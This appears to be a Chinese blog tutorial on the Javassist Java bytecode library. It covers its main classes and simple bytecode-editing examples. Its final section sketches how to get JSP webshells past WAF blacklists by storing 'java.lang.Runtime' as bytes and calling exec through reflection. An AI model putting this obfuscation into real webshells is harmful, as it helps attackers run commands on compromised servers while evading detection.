首页 > 编程语言 >Javassist

Javassist

时间:2022-10-23 18:45:41浏览次数:46  
标签:lang java 字节 void CtClass Javassist String

前言

动态编程这个概念是相对于静态编程而言的,两者的区别简而言之,在静态编程中,类型检查是在编译时完成的,而动态编程中类型检查是在运行时完成的。所谓动态编程就是绕过编译过程在运行时进行操作的技术

在反射,动态代理中都能感受到动态编程的影子

Javassist是一个开源的分析、编辑和创建Java字节码的类库,Java 字节码存储在称为类文件的二进制文件中。每个类文件包含一个 Java 类或接口。

可以利用的点就在于使用Javassist时我们可以像写Java代码一样直接插入Java代码片段,让我们不再需要关注Java底层的字节码的和栈操作,仅需要学会如何使用Javassist的API即可实现字节码编辑,类似于可以达到任意代码执行的效果。

Javassist使用

最主要的类有以下几个

ClassPool

ClassPool:一个基于哈希表(Hashtable)实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象(HashtableHashmap类似都是实现``map接口,hashmap可以接收null的值,但是Hashtable`不行)

常用方法:

static ClassPool	getDefault()
	返回默认的类池。
ClassPath	insertClassPath(java.lang.String pathname)	
	在搜索路径的开头插入目录或jar(或zip)文件。
ClassPath	insertClassPath(ClassPath cp)	
	ClassPath在搜索路径的开头插入一个对象。
java.lang.ClassLoader	getClassLoader()	
	获取类加载器toClass(),getAnnotations()在 CtClass等
CtClass	get(java.lang.String classname)	
	从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用。
ClassPath	appendClassPath(ClassPath cp)	
	将ClassPath对象附加到搜索路径的末尾。
CtClass	makeClass(java.lang.String classname)
	创建一个新的public类

CtClass

CtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPoold的一些方法获得。

常用方法:

void	setSuperclass(CtClass clazz)
	更改超类,除非此对象表示接口。
java.lang.Class<?>	toClass(java.lang.invoke.MethodHandles.Lookup lookup)	
	将此类转换为java.lang.Class对象。
byte[]	toBytecode()	
	将该类转换为类文件。
void	writeFile()	
	将由此CtClass 对象表示的类文件写入当前目录。
void	writeFile(java.lang.String directoryName)	
	将由此CtClass 对象表示的类文件写入本地磁盘。
CtConstructor	makeClassInitializer()	
	制作一个空的类初始化程序(静态构造函数)。

CtMethod

CtMethod:表示类中的方法。超类为CtBehavior,很多有用的方法都在CtBehavior

void	insertBefore (java.lang.String src)	
在正文的开头插入字节码。
void	insertAfter	(java.lang.String src)	
在正文的末尾插入字节码。
void	setBody (CtMethod src, ClassMap map)	
从另一个方法复制方法体。

CtConstructor

CtConstructor的实例表示一个构造函数。它可能代表一个静态构造函数(类初始化器)。

常用方法

void	setBody(java.lang.String src)	
	设置构造函数主体。
void	setBody(CtConstructor src, ClassMap map)	
	从另一个构造函数复制一个构造函数主体。
CtMethod	toMethod(java.lang.String name, CtClass declaring)	
	复制此构造函数并将其转换为方法。

CtField

表示类中的字段。

ClassClassPath

该类作用是用于通过 getResourceAsStream()java.lang.Class 中获取类文件的搜索路径。

常见方法:

ClassClassPath(java.lang.Class<?> c)	
	创建一个搜索路径。
java.net.URL	find (java.lang.String classname)	
	获取指定类文件的URL。
java.io.InputStream	openClassfile(java.lang.String classname)	
	通过获取类文getResourceAsStream()。

toBytecode

将类抓换位数组字节

package com.demo;

import javassist.*;
import java.io.IOException;
import java.util.Arrays;

public class testssit {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(demo.class.getClass()));
        CtClass ctClass = pool.get("com.demo.test");
        ctClass.setSuperclass(pool.get("com.demo.test"));
//        System.out.println(ctClass);
        byte[] bytes = ctClass.toBytecode();
        String s = Arrays.toString(bytes);
        System.out.println(s);
    }

}

toClass

Hello类:
public class hello {
    public void say() {
        System.out.println("Hello");
    }
}

Test 类
public class test {
    public static void main(String[] args) throws Exception {
        ClassPool cp = ClassPool.getDefault();//在默认系统搜索路径获取ClassPool对象。
        CtClass cc = cp.get("org.example.hello");  //获取hello类的
        CtMethod m = cc.getDeclaredMethod("say"); //获取hello类的say方法
        m.insertBefore("{ System.out.println(\"hello.say():\"); }");//在正文的开头插入字节码
        Class c = cc.toClass();//将此类转换为java.lang.Class对象
        hello h = (hello)c.newInstance(); //反射创建对象并进行强转
        h.say();//调用方法say
    }
}

利用

Javassist作用就是将类和字节码进行互相转换,可以利用的点就是做Webshell免杀,Jsp的最常见的一些webshell,都是采用RuntimeProcessBuilder这两个类去进行构造,执行命令。按照WAF的惯性这些设备肯定是把这些常见的执行命令函数给拉入黑名单里面去。那么如果说可以转换成字节码的话呢?字节码肯定是不会被杀的。如果说这时候将Runtime这个类转换成字节码,内嵌在Jsp中,后面再使用Javassist来将字节码还原成类的话,如果转换的几个方法没被杀的话,是可以实现过WAF的。但是Javassist并不是JDK中自带的,实现的话后面可以再研究一下。但是类加载器肯定是可以去加载字节码,然后实现执行命令的

这里最大的问题就是如何动态传入参数执行,马上想到反射。因为按照上面的思路把全部代码都转换成字节码的话,其实就没有多大意义了。因为全是固定死的东西,他也只会执行并且得到同一个执行结果。于是我们可以将部分在代码里面固定死的代码给转换成字节码,然后再使用反射的方式去调用

import java.util.Arrays;
public class test {
    public static void main(String[] args) {
        String string ="java.lang.Runtime";
        byte[] bytes1 = string.getBytes();
        System.out.println(Arrays.toString(bytes1));

    }
}


将字节码还原为String类型,String的构造方法就直接能执行,来看看他的官方文档

public class test {
    public static void main(String[] args) {
        byte[] bytes = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String s = new String(bytes);
        System.out.println(s);
    }
}

public class test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String run = new String(b1);
        String command = "ipconfig";


        Class aClass = Class.forName(run);
        Constructor declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance();
        Method exec = aClass.getMethod("exec", String.class);
        Process process = (Process) exec.invoke(o,command);
        InputStream inputStream = process.getInputStream();    //获取输出的数据
        String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符
        System.out.println(ipconfig);



    }
}

后面再继续完善吧

标签:lang,java,字节,void,CtClass,Javassist,String
From: https://www.cnblogs.com/gk0d/p/16819101.html

相关文章